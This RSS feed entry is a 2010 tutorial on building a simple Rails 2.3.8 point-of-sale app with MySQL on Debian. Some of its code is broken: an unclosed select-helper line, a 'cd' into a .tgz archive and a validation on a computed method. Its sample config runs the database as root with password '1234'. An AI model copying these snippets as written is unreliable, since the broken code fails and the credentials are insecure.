<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>dijexi.com &#187; MySQL</title>
	<atom:link href="http://www.dijexi.com/category/mysql/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.dijexi.com</link>
	<description>free programming tutorial, tips and tricks on php, codeigniter, delphi, dotnet, ajax and more..</description>
	<lastBuildDate>Fri, 13 Jan 2012 23:21:06 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
<atom:link rel="hub" href="http://pubsubhubbub.appspot.com"/><atom:link rel="hub" href="http://superfeedr.com/hubbub"/>		<item>
		<title>Developing Web Based POS Application Using Ruby on Rails on Debian 5</title>
		<link>http://www.dijexi.com/2010/09/developing-web-based-pos-application-using-ruby-on-rails-on-debian-5/</link>
		<comments>http://www.dijexi.com/2010/09/developing-web-based-pos-application-using-ruby-on-rails-on-debian-5/#comments</comments>
		<pubDate>Tue, 07 Sep 2010 03:01:36 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Apache]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[Ruby on Rails]]></category>
		<category><![CDATA[web development]]></category>
		<category><![CDATA[Debian 5]]></category>
		<category><![CDATA[Developing]]></category>
		<category><![CDATA[point of sales]]></category>
		<category><![CDATA[Web Applications]]></category>

		<guid isPermaLink="false">http://www.dijexi.com/2010/09/developing-web-based-pos-application-using-ruby-on-rails-on-debian-5/</guid>
		<description><![CDATA[In this article we will learn how to begin developing web applications using Ruby on Rails. First we setup the development environment, then develop a simple CRUD (create, read, update, delete) application using MySQL database, and deploy the application to Apache web server. An an example, we will develop a very simple point of sales [...]]]></description>
			<content:encoded><![CDATA[<!--INFOLINKS_ON--></p>
<p>In this article we will learn how to begin developing web applications using Ruby on Rails. First we setup the development environment, then develop a simple CRUD (create, read, update, delete) application using MySQL database, and deploy the application to Apache web server. An an example, we will develop a very simple point of sales (POS) application that consists only 3 tables: orders, order_details, and items.</p>
<p>&#160;</p>
<h2>Ruby on Rails Installation</h2>
<p>Install Ruby if it’s not installed yet on your system:</p>
<blockquote><p><font face="Courier"># apt-get install&#160; ruby1.8 ruby1.8-dev</font></p>
<p>&#160;</p>
</blockquote>
<p>Install Ruby Gem package management directly from Rubyforge since we need the newer version than version 1.3.1 that is shipped with Debian 5:</p>
<p> <span id="more-1366"></span><br />
<blockquote>
<p><font face="Courier"># wget </font><a title="http://rubyforge.org/frs/download.php/70696/rubygems-1.3.7.tgz" href="http://rubyforge.org/frs/download.php/70696/rubygems-1.3.7.tgz"><font face="Courier">http://rubyforge.org/frs/download.php/70696/rubygems-1.3.7.tgz</font></a></p>
<p><font face="Courier"># tar xfz rubygems-1.3.7.tgz</font></p>
<p><font face="Courier"># cd rubygems-1.3.7.tgz</font></p>
<p><font face="Courier"># ruby setup.rb</font></p>
<p><font face="Courier"># ln -s /usr/bin/gem1.8 /usr/bin/gem</font> </p>
<p>&#160;</p>
</blockquote>
<p>Install Ruby on rails version 2.3.8 using gem command:</p>
<blockquote><p><font face="Courier"># gem install -v=2.3.8 rails</font></p>
<p>&#160;</p>
</blockquote>
<p>&#160;</p>
<h2>Start Developing the Application</h2>
<p>We are going to put our application on /opt/rubyapp or whatever directory you like. </p>
<blockquote><p><font face="Courier"># cd /opt</font></p>
<p><font face="Courier"># mkdir rubyapp</font></p>
<p>&#160;</p>
</blockquote>
<p>On that directory, run rails command to create a new application skeleton. We are going to create a simple POS application and we call it simplepos.</p>
<blockquote><p><font face="Courier"># rails simplepos</font></p>
<p>&#160;</p>
</blockquote>
<p>Rails will create the application skeleton on the directory name we specified. Go to that directory and run the server.</p>
<blockquote><p><font face="Courier"># cd simplepos</font></p>
<p><font face="Courier"># ruby script/server</font></p>
<p>&#160;</p>
</blockquote>
<p>Ruby on Rails server will start and we can access it from <a href="http://yourserver-ip:3000">http://yourserver-ip:3000</a>, like the following:</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2010/09/image.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" border="0" alt="image" src="http://www.dijexi.com/wp-content/uploads/2010/09/image_thumb.png" width="504" height="337" /></a> </p>
<p>&#160;</p>
<p><em>Note: I once found a conflicting port 3000 on Debian 5, which was used by Dr WEB application. Simply stop that service or change the port in order that Rails application to start correctly.</em></p>
<p>You can see that the default database driver is SQL lite. We need to change this to MySQL. Edit the config/database.yml:</p>
<blockquote><p><font face="Courier New">development:        <br />&#160; adapter: mysql         <br />&#160; database: simplepos_development         <br />&#160; user: root         <br />&#160; password: 1234         <br />&#160; pool: 5         <br />&#160; timeout: 5000 </font></p>
<p><font face="Courier New"># Warning: The database defined as &quot;test&quot; will be erased and        <br /># re-generated from your development database when you run &quot;rake&quot;.         <br /># Do not set this db to the same as development or production.         <br />test:         <br />&#160; adapter: mysql         <br />&#160; database: simplepos_test         <br />&#160; user: root         <br />&#160; password: 1234         <br />&#160; pool: 5         <br />&#160; timeout: 5000 </font></p>
<p><font face="Courier New">production:        <br />&#160; adapter: mysql         <br />&#160; database: simplepos_production         <br />&#160; user: root         <br />&#160; password: 1234         <br />&#160; pool: 5         <br />&#160; timeout: 5000</font></p>
<p><font face="Courier New"></font></p>
</blockquote>
<p>Adjust the user name and password according to your system. Then run this command to create all the databases defined on the config file:</p>
<blockquote><p><font size="2" face="Courier New"># rake db:create:all</font></p>
<p>&#160;</p>
</blockquote>
<p>&#160;</p>
<p>Run the server again (ruby script/server) and make sure that our database is now MySQL:</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2010/09/image1.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" border="0" alt="image" src="http://www.dijexi.com/wp-content/uploads/2010/09/image_thumb1.png" width="504" height="333" /></a> </p>
<p>&#160;</p>
<h2>The Application Design</h2>
<p>Our application is quite simple. It contains only 3 tables</p>
<ul>
<li><strong>orders</strong> for storing sales transactions with the following fields:</li>
<ul>
<li>number</li>
<li>order_date</li>
</ul>
<li><strong>items</strong> for storing items to be sold the following fields:</li>
<ul>
<li>number</li>
<li>name</li>
<li>description</li>
<li>unit_price</li>
</ul>
<li><strong>order_details</strong> for storing order details with the following fields:</li>
<ul>
<li>order_id</li>
<li>item_id</li>
<li>qty</li>
<li>unit_price</li>
<li>amount</li>
</ul>
</ul>
<p>Here is the relation of the 3 tables:</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2010/09/image2.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" border="0" alt="image" src="http://www.dijexi.com/wp-content/uploads/2010/09/image_thumb2.png" width="520" height="222" /></a> </p>
<p>&#160;</p>
<h2>Creating Model , Controller, and View using Scaffold for Orders Data</h2>
<p>Let’s move on to coding. Rails provides us a very powerful scaffolding script that allows us to easily create the model, view, and controller, and even the tables related to the model.</p>
<p>First, create the Order model. Here we follow the Rails convention: model use singular word.</p>
<blockquote><p><font face="Courier New"># ruby script/generate scaffold Order number:integer order_date:date</font></p>
<p><font face="Courier New"></font></p>
</blockquote>
<p>Rails will create our Order model, view, and controller. Take a look on simplepos/app folder. Next create the database table according to the fields that we sepcified on the scaffold above:</p>
<blockquote><p><font face="Courier New"># rake db:migrate</font></p>
<p><font face="Courier New"></font></p>
</blockquote>
<p>Now, run the server again (ruby script/server) and test the CRUD functionality for the Order data by entering the URL address: <a href="http://yourserver-ip:3000/orders">http://yourserver-ip:3000/orders</a>. We can see the list orf orders on the index page, a new order creation link, along with edit, update, and delete link if there’s an order already.</p>
<p>Listing orders:</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2010/09/image3.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" border="0" alt="image" src="http://www.dijexi.com/wp-content/uploads/2010/09/image_thumb3.png" width="450" height="417" /></a> </p>
<p>Adding new order:</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2010/09/image4.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" border="0" alt="image" src="http://www.dijexi.com/wp-content/uploads/2010/09/image_thumb4.png" width="450" height="417" /></a> </p>
<p>Order created:</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2010/09/image5.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" border="0" alt="image" src="http://www.dijexi.com/wp-content/uploads/2010/09/image_thumb5.png" width="450" height="417" /></a> </p>
<p>List the orders on the order list:</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2010/09/image6.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" border="0" alt="image" src="http://www.dijexi.com/wp-content/uploads/2010/09/image_thumb6.png" width="450" height="417" /></a> </p>
<p>Editing the order:</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2010/09/image7.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" border="0" alt="image" src="http://www.dijexi.com/wp-content/uploads/2010/09/image_thumb7.png" width="450" height="417" /></a> </p>
<p>Deleting the order:</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2010/09/image8.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" border="0" alt="image" src="http://www.dijexi.com/wp-content/uploads/2010/09/image_thumb8.png" width="469" height="294" /></a> </p>
<p>What have we have is a complete CRUD application for Orders table created automatically by Rails scaffolding.</p>
<p>&#160;</p>
<h2>Creating Model , Controller, and View using Scaffold for Items Data</h2>
<p>Now create the model, controller, view, and table for items data, using the same steps as above.</p>
<blockquote><p><font face="Courier New"># ruby script/generate scaffold Item number:integer name:string description:text unit_price:decimal</font></p>
</blockquote>
<p>Then create the database table according to the fields that we specified on the scaffold above:</p>
<blockquote><p><font face="Courier New"># rake db:migrate</font></p>
<p><font face="Courier New"></font></p>
</blockquote>
<p>And try to run the items CRUD by pointing to URL <a href="http://yourserver-ip:3000/items">http://yourserver-ip:3000/items</a> . You should be able to list, create, edit, and delete the items data now. This is the example of creating new item form.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2010/09/image9.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" border="0" alt="image" src="http://www.dijexi.com/wp-content/uploads/2010/09/image_thumb9.png" width="446" height="670" /></a> </p>
<p>&#160;</p>
<h2>Validating Data</h2>
<p>If we need to validate data entered by the user, then we can easily edit the model and add validations to the fields. For example, we need to validate the existence of number and&#160; order_date fields on orders table. Also we need to validate whether total_amount field is a number or not. Edit the app/model/order.rb file and add the following bold lines:</p>
<blockquote><p><font face="Courier New">class Order &lt; ActiveRecord::Base       <br /></font><font face="Courier New"><strong>&#160;&#160; validates_presence_of :number, :order_date&#160; </strong>        <br />end</font></p>
</blockquote>
<p>Stop and start the server again, and let’s enter the wrong data according to the validation rule.</p>
<p>Entering a blank number, order_date.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2010/09/image10.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" border="0" alt="image" src="http://www.dijexi.com/wp-content/uploads/2010/09/image_thumb10.png" width="450" height="417" /></a> </p>
<p>Of course, we could also add the validation to Items data by editing the app/model/item.rb file, by adding the following bold lines:</p>
<blockquote><p><font face="Courier">class Item &lt; ActiveRecord::Base       <br />&#160;&#160; </font><font face="Courier"><strong>validates_presence_of :number, :name, :unit_price         <br />&#160;&#160; validates_numericality_of :unit_price</strong>        <br />end</font></p>
</blockquote>
<p>Try to create a blank number, name, unit_price on item data:</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2010/09/image11.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" border="0" alt="image" src="http://www.dijexi.com/wp-content/uploads/2010/09/image_thumb11.png" width="466" height="440" /></a> </p>
<p>&#160;</p>
<h2>Creating Order Details MVC and Set the Relation</h2>
<p>Order details is the place where we stored the actual sales transaction. It will record the items purchased on a particular order number. So it has a relation to items table and orders table as well, both for a “belongs to” relationship. So the relations will be:</p>
<ul>
<li>orders has many order_details</li>
<li>items has many order_details</li>
<li>order_details belongs to orders and items</li>
</ul>
<ul>Let’s create the MVC for this order details using the same steps as before:</ul>
<ul>
<blockquote>
<p><font face="Courier New"># ruby script/generate scaffold OrderDetail order:references item:references qty:integer unit_price:decimal amount:decimal</font></p>
</blockquote>
<p>Note that we used references data type for order and item on OrderDetail model. This will make Rails to create a relationship between OrderDetail and Order and Item model (ie OrderDetails belongs to Order and Item). It will also create a reference column on the order_details table, which is order_id and items_id. </p>
<p>Then create the database table according to the fields that we specified on the scaffold above:</p>
<blockquote><p><font face="Courier New"># rake db:migrate</font></p>
<p><font face="Courier New"></font>&#160;</p>
</blockquote>
<p> And take a look at the generated order_details table:</ul>
<blockquote><p><font face="Courier New">mysql&gt; explain order_details;       <br />+&#8212;&#8212;&#8212;&#8212;+&#8212;&#8212;&#8212;&#8212;&#8212;+&#8212;&#8212;+&#8212;&#8211;+&#8212;&#8212;&#8212;+&#8212;&#8212;&#8212;&#8212;&#8212;-+        <br />| Field&#160;&#160;&#160;&#160;&#160; | Type&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; | Null | Key | Default | Extra&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; |        <br />+&#8212;&#8212;&#8212;&#8212;+&#8212;&#8212;&#8212;&#8212;&#8212;+&#8212;&#8212;+&#8212;&#8211;+&#8212;&#8212;&#8212;+&#8212;&#8212;&#8212;&#8212;&#8212;-+        <br />| id&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; | int(11)&#160;&#160;&#160;&#160;&#160;&#160; | NO&#160;&#160; | PRI | NULL&#160;&#160;&#160; | auto_increment |        <br /><strong>| order_id&#160;&#160; | int(11)&#160;&#160;&#160;&#160;&#160;&#160; | YES&#160; |&#160;&#160;&#160;&#160; | NULL&#160;&#160;&#160; |&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; |         <br />| item_id&#160;&#160;&#160; | int(11)&#160;&#160;&#160;&#160;&#160;&#160; | YES&#160; |&#160;&#160;&#160;&#160; | NULL&#160;&#160;&#160; |</strong>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; |        <br />| qty&#160;&#160;&#160;&#160;&#160;&#160;&#160; | int(11)&#160;&#160;&#160;&#160;&#160;&#160; | YES&#160; |&#160;&#160;&#160;&#160; | NULL&#160;&#160;&#160; |&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; |        <br />| unit_price | decimal(10,0) | YES&#160; |&#160;&#160;&#160;&#160; | NULL&#160;&#160;&#160; |&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; |        <br />| amount&#160;&#160;&#160;&#160; | decimal(10,0) | YES&#160; |&#160;&#160;&#160;&#160; | NULL&#160;&#160;&#160; |&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; |        <br />| created_at | datetime&#160;&#160;&#160;&#160;&#160; | YES&#160; |&#160;&#160;&#160;&#160; | NULL&#160;&#160;&#160; |&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; |        <br />| updated_at | datetime&#160;&#160;&#160;&#160;&#160; | YES&#160; |&#160;&#160;&#160;&#160; | NULL&#160;&#160;&#160; |&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; |        <br />+&#8212;&#8212;&#8212;&#8212;+&#8212;&#8212;&#8212;&#8212;&#8212;+&#8212;&#8212;+&#8212;&#8211;+&#8212;&#8212;&#8212;+&#8212;&#8212;&#8212;&#8212;&#8212;-+        <br />8 rows in set (0.00 sec)</font></p>
</blockquote>
<p>&#160;</p>
<p><em>Note: created_at and updated_at are auto generated columns when we create the scaffolding.</em></p>
<p>Let’s define this relations to the models. First edit the order model (app/model/order.rb) and add the following bold lines:</p>
<blockquote><p><font face="Courier">class Order &lt; ActiveRecord::Base       <br />&#160;&#160; validates_presence_of :number, :order_date        <br />&#160;&#160; </font><font face="Courier"><strong>has_many :order_details         <br /></strong>end</font></p>
</blockquote>
<p> And to the item model (app/model/item.rb)</p>
<blockquote><p><font face="Courier">class Item &lt; ActiveRecord::Base       <br />&#160;&#160; validates_presence_of :number, :name, :unit_price        <br />&#160;&#160; validates_numericality_of :unit_price        <br /></font><font face="Courier"><strong>&#160;&#160; has_many :order_details         <br /></strong>end</font></p>
</blockquote>
<p>Also check the order detail model (app/model/order_detail.rb) has the relationship already because we specify that order and items are references when do the scaffolding.</p>
<blockquote><p><font face="Courier">class OrderDetail &lt; ActiveRecord::Base       <br />&#160; belongs_to :order        <br />&#160; belongs_to :item        <br />end</font></p>
</blockquote>
<p>&#160;</p>
<h2>Edit routes.rb</h2>
<p>We also need to edit the config/routes.rb so that the URL for order and order details also have a relationship information that order has many order_details. Modify the file so it looks like the following:</p>
<blockquote><p><font face="Courier">ActionController::Routing::Routes.draw do |map|       <br />&#160; map.resources :items </font></p>
<p><strong><font face="Courier">&#160; map.resources :orders, :has_many =&gt; :order_details</font></strong></p>
<p><font face="Courier">&#8230;.</font></p>
</blockquote>
<p>It will enable us to access the order details data below the order URL like this: <a href="http://yourserver:3000/orders/1/order_detail">http://yourserver:3000/orders/1/order_detail</a></p>
<p>&#160;</p>
<h2>Adding Order Detail Form </h2>
<p>We need to add the detail form below the Order show page so that we can add item details for a particular Order.</p>
<p>Add these bold lines just below the Date field of the Order:</p>
<blockquote><p><font face="Courier">&#8230;</font></p>
<p><font size="1" face="Courier">&lt;p&gt;       <br />&#160; &lt;b&gt;Order date:&lt;/b&gt;        <br />&#160; &lt;%=h @order.order_date %&gt;        <br />&lt;/p&gt;</font></p>
<p><font face="Courier"><strong>&lt;h1&gt;Order details&lt;/h1&gt;         <br />&lt;table&gt;          <br />&lt;tr&gt;          <br />&#160;&#160; &lt;th&gt;Item&lt;/th&gt;          <br />&#160;&#160; &lt;th&gt;Qty&lt;/th&gt;          <br />&#160;&#160; &lt;th&gt;Unit Price&lt;/th&gt;          <br />&#160;&#160; &lt;th&gt;Amount&lt;/th&gt;          <br />&lt;/tr&gt;          <br /></strong></font></p>
<p><font face="Courier"><strong>&lt;%= render :partial =&gt; @order.order_details %&gt;</strong></font></p>
<p><font face="Courier"><strong>&lt;% form_for [@order, OrderDetail.new] do |f| %&gt;         <br />&lt;tr&gt;          <br />&#160;&#160; &lt;td&gt;&lt;%= f.label :item_id, &quot;item&quot; %&gt;&lt;/td&gt;          <br />&#160;&#160; &lt;td&gt;&lt;%= f.label :qty, &quot;Qty&quot; %&gt;&lt;/td&gt;          <br />&lt;/tr&gt;          <br />&lt;tr&gt;          <br />&#160;&#160; &lt;td&gt;&lt;%= f.select :item_id, @items.map {|u| [u.name,u.id %&gt;&lt;/td&gt;          <br />&#160;&#160; &lt;td&gt;&lt;%= f.text_field :qty %&gt;&lt;/td&gt;          <br />&lt;/tr&gt;          <br />&lt;tr&gt;          <br />&#160;&#160; &lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;%= f.submit &quot;add detail&quot; %&gt;&lt;/td&gt;          <br />&lt;/tr&gt;          <br />&lt;% end %&gt;          <br />&lt;/table&gt;</strong></font></p>
<p><font face="Courier">...</font></p>
</blockquote>
<p>&#160;</p>
<p>We need to create a new file under app/views/order_details, called app/views/order_details/_order_detail.html.erb. This file is required by the <em>:render=&gt;partial </em>line above and is a partial template file used to render each order detail lines for an Order.</p>
<p>&#160;</p>
<blockquote><p><font face="Courier">&lt;% div_for order_detail do %&gt;       <br />&lt;tr&gt;        <br />&#160;&#160; &lt;td&gt;&lt;%=h order_detail.item.name %&gt;&lt;/td&gt;        <br />&#160;&#160; &lt;td&gt;&lt;%=h order_detail.qty %&gt;&lt;/td&gt;        <br />&#160;&#160; &lt;td&gt;&lt;%=h order_detail.unit_price %&gt;&lt;/td&gt;        <br />&#160;&#160; &lt;td&gt;&lt;%=h order_detail.amount %&gt;&lt;/td&gt;        <br />&lt;/tr&gt;        <br />&lt;% end %&gt;</font></p>
</blockquote>
<p>&#160;</p>
<p>Then, we create a form for order details of an order ( form_for [@order, OrderDetail.new] do |f| ). After this, f variable will be related to order_details, but when submitted it will go to&#160; /orders/&lt;id&gt;/order_details.</p>
<p>On that form, we use select() helper function to render a selection box that is populated with all items data that we have where users can pick an item from. Using @items.map we create an array that is required by the select() as its option values.</p>
<p>Next, edit app/controller/orders_controller.rb file so that it provides us with @items object that we used on the select() above.</p>
<blockquote><p><font face="Courier">def show       <br />&#160; @order = Order.find(params[:id])        <br />&#160; <strong>@items = Item.find(:all) </strong></font></p>
<p><font face="Courier">&#160; respond_to do |format|       <br />&#160;&#160;&#160; format.html # show.html.erb        <br />&#160;&#160;&#160; format.xml&#160; { render :xml =&gt; @order }        <br />&#160; end        <br />end</font> </p>
</blockquote>
<p>&#160;</p>
<p>Modify app/controller/order_details_controller.rb so that it contains only one create method (delete all other methods generated by the scaffolding process). This is invoked when we create a new order_detail record.</p>
<p>&#160;</p>
<blockquote><p><font size="2" face="Courier">class OrderDetailsController &lt; ApplicationController       <br />&#160;&#160; def create        <br />&#160;&#160;&#160;&#160;&#160; @order = Order.find(params[:order_id])        <br />&#160;&#160;&#160;&#160;&#160; @order_detail = @order.order_details.create!(params[:order_detail])        <br />&#160;&#160;&#160;&#160;&#160; item = Item.find(params[:order_detail][:item_id])        <br />&#160;&#160;&#160;&#160;&#160; qty = params[:order_detail][:qty]        <br />&#160;&#160;&#160;&#160;&#160; @order_detail.update_attributes(:amount=&gt;item.unit_price.to_i * qty.to_i , :unit_price=&gt;item.unit_price)        <br />&#160;&#160;&#160;&#160;&#160; redirect_to @order        <br />&#160;&#160; end        <br />end</font></p>
</blockquote>
<p>&#160;</p>
<p>On this method, first we find the order identified by an ID (params[:order_id]) which is a parameter posted by the order detail form.</p>
<p>Found the Order, we create an OrderDetail record by calling @order.order_details.create!() method. This is possible because we have declared that an order can have many order_details.</p>
<p>Next we find the item that is being selected by the user, to find out its unit_price and calculate the order detail amount. Then we update the attributes of order_details using these values.</p>
<p>After all processes are done, we redirect back to the order URL (redirect_to @order).</p>
<p>&#160;</p>
<p>It’s time now to try our modified application, go to Order URL and click Show link. We will have a new look of the form:</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2010/09/image12.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" border="0" alt="image" src="http://www.dijexi.com/wp-content/uploads/2010/09/image_thumb12.png" width="450" height="417" /></a> </p>
<p>Try to add items on the order and check the unit price and amount. </p>
<p>&#160;</p>
<h2>Calculating Order’s Total Amount </h2>
<p>It’s time to calculate the total amount of an order which is the sum of amounts of all order_details that it has.</p>
<p>This is easily calculated using the relation that we have set before (order has many order_details). After defining that relation, we will be able to call order.order_details.sum(colname) and get the total value of colname on the order_details table where order_id is the order that we are looking at.</p>
<p>So, we can edit add/model/order.rb to add a new method total_amount that will return the sum of column amount on the table that it has many (order_details):</p>
<blockquote><p><font face="Courier">class Order &lt; ActiveRecord::Base       <br />&#160;&#160; validates_presence_of :number, :order_date, :total_amount        <br />&#160;&#160; validates_numericality_of :total_amount        <br />&#160;&#160; has_many :order_details </font></p>
<p><font face="Courier"><strong>&#160;&#160; def total_amount         <br />&#160;&#160;&#160;&#160;&#160; self.order_details.sum(:amount)          <br />&#160;&#160; end          <br /></strong>end</font></p>
</blockquote>
<p>Now we can use that method from our views. Edit the app/views/orders/index.html.erb:</p>
<blockquote><p><font size="1" face="Courier">&lt;h1&gt;Listing orders&lt;/h1&gt; </font></p>
<p><font size="1" face="Courier">&lt;table&gt;       <br />&#160; &lt;tr&gt;        <br />&#160;&#160;&#160; &lt;th&gt;Number&lt;/th&gt;        <br />&#160;&#160;&#160; &lt;th&gt;Order date&lt;/th&gt;        <br /></font><font size="1"><font face="Courier"><strong>&#160;&#160;&#160; &lt;th&gt;Total amount&lt;/th&gt;           <br /></strong>&#160; &lt;/tr&gt; </font></font></p>
<p><font size="1" face="Courier">&lt;% @orders.each do |order| %&gt;       <br />&#160; &lt;tr&gt;        <br />&#160;&#160;&#160; &lt;td&gt;&lt;%=h order.number %&gt;&lt;/td&gt;        <br />&#160;&#160;&#160; &lt;td&gt;&lt;%=h order.order_date %&gt;&lt;/td&gt;        <br /></font><font size="1"><font face="Courier"><strong>&#160;&#160;&#160; &lt;td&gt;&lt;%=h order.total_amount %&gt;&lt;/td&gt;           <br /></strong>&#160;&#160;&#160; &lt;td&gt;&lt;%= link_to &#8216;Show&#8217;, order %&gt;&lt;/td&gt;          <br />&#160;&#160;&#160; &lt;td&gt;&lt;%= link_to &#8216;Edit&#8217;, edit_order_path(order) %&gt;&lt;/td&gt;          <br />&#160;&#160;&#160; &lt;td&gt;&lt;%= link_to &#8216;Destroy&#8217;, order, :confirm =&gt; &#8216;Are you sure?&#8217;, :method =&gt; :delete %&gt;&lt;/td&gt;          <br />&#160; &lt;/tr&gt;          <br />&lt;% end %&gt;          <br />&lt;/table&gt;</font></font></p>
</blockquote>
<p>Here is the look of the modified index pages:</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2010/09/image13.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" border="0" alt="image" src="http://www.dijexi.com/wp-content/uploads/2010/09/image_thumb13.png" width="416" height="374" /></a> </p>
<p>And also the app/views/orders/show.html.erb:</p>
<blockquote><p><font size="1" face="Courier">&lt;p&gt;       <br />&#160; &lt;b&gt;Number:&lt;/b&gt;        <br />&#160; &lt;%=h @order.number %&gt;        <br />&lt;/p&gt; </font></p>
<p><font size="1" face="Courier">&lt;p&gt;       <br />&#160; &lt;b&gt;Order date:&lt;/b&gt;        <br />&#160; &lt;%=h @order.order_date %&gt;        <br />&lt;/p&gt; </font></p>
<p><font size="1" face="Courier"><strong>&lt;p&gt;         <br />&#160; &lt;b&gt;Total amount:&lt;/b&gt;          <br />&#160; &lt;%=h @order.total_amount %&gt;          <br />&lt;/p&gt;</strong></font></p>
<p><font size="1" face="Courier">. . . </font></p>
</blockquote>
<p>Here is the look of the modified show page:</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2010/09/image14.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" border="0" alt="image" src="http://www.dijexi.com/wp-content/uploads/2010/09/image_thumb14.png" width="433" height="417" /></a> </p>
<p>&#160;</p>
<p>&#160;</p>
<h2>Decorating and Layout</h2>
<p>&#160;</p>
<h4>Per model layout</h4>
<p>As part of the scaffolding process, Rails generates a layout template for each model that we created. It is located on app/views/layouts directory. For example, we change the layout of the Items data, which is the app/views/layouts/items.html.erb.</p>
<blockquote><p><font face="Courier">&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot;       <br />&#160;&#160;&#160;&#160;&#160;&#160; &quot;</font><a href="http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;"><font face="Courier">http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;</font></a><font face="Courier">&gt; </font></p>
<p><font face="Courier">&lt;html xmlns=&quot;</font><a href="http://www.w3.org/1999/xhtml&quot;"><font face="Courier">http://www.w3.org/1999/xhtml&quot;</font></a><font face="Courier"> xml:lang=&quot;en&quot; lang=&quot;en&quot;&gt;       <br />&lt;head&gt;        <br />&#160; &lt;meta http-equiv=&quot;content-type&quot; content=&quot;text/html;charset=UTF-8&quot; /&gt;        <br />&#160; &lt;title&gt;Items: &lt;%= controller.action_name %&gt;&lt;/title&gt;        <br />&#160; &lt;%= stylesheet_link_tag &#8216;scaffold&#8217; %&gt;        <br />&lt;/head&gt;        <br />&lt;body&gt; </font></p>
<p><font face="Courier">&lt;p style=&quot;color: green&quot;&gt;&lt;%= notice %&gt;&lt;/p&gt; </font></p>
<p><font face="Courier">&lt;%= yield %&gt; </font></p>
<p><font face="Courier">&lt;/body&gt;       <br />&lt;/html&gt;</font></p>
</blockquote>
<p>As you can see, it’s a regular HTML file with a special tag that comes from Rails, which are&#160;&#160;&#160; &lt;%= stylesheet_link_tag &#8216;scaffold&#8217; %&gt;&#160; and <font face="Courier">&lt;%= yield %&gt;. </font>The first tag is how Rails application link a CSS file, in this case scaffold.css. Rails automatically search this file on public/stylesheets directory on our application folder. </p>
<p>The next tag is &lt;%= yield %&gt;. This is a Rails variable that contains the data generated by the view. So everything that we write on the view files will be contained in this variable and rendered on this layout file.</p>
<p>Let’s modify the body background color for Items data only, so change the body tag to &lt;body style=&quot;background-color:#aaa&quot;&gt;. We should see the background color for Items listing, edit, create, and update page will be changed.</p>
